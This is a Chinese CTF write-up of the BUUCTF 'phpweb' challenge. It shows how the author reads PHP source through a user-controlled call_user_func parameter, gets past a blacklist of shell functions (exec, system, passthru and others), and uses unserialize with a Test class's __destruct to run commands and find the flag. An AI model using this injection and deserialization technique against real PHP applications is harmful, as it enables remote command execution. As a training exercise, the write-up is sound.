BUUCTF-phpweb_第二届网鼎杯朱雀组web

拿到题目
先抓个包!
BUUCTF-phpweb_第二届网鼎杯朱雀组web_第1张图片
看到两个参数func 和p
很明显联想到function 尝试用读取文件函数读源码
BUUCTF-phpweb_第二届网鼎杯朱雀组web_第2张图片直接用**readfile** 或者 **file_get_contents**可以
读取到源码
接下来就是代码审计

 
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

可以看到对func进行了过滤,将所有危害方法进行了过滤,但观察一下

class
class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

对 两个参数没有进行过滤,且调用了魔术函数 ,而且黑名单之中没有unserialize()这是让我们用反序列化啊


class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
    }
$a=new Test();
echo(serialize($a));
?>

class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
    }
$a=new Test();
echo(serialize($a));
?>

构造

O:4:"Test":2:{s:1:"p";s:13:"Y-m-d h:i:s a";s:4:"func";s:4:"date";}

BUUCTF-phpweb_第二届网鼎杯朱雀组web_第3张图片此时可以用ls 查看每一个目录找到flag文件 也可以用find查
BUUCTF-phpweb_第二届网鼎杯朱雀组web_第4张图片BUUCTF-phpweb_第二届网鼎杯朱雀组web_第5张图片BUUCTF-phpweb_第二届网鼎杯朱雀组web_第6张图片看到有的大佬思路,可以用/绕过过滤
BUUCTF-phpweb_第二届网鼎杯朱雀组web_第7张图片

你可能感兴趣的:(BuuCTF)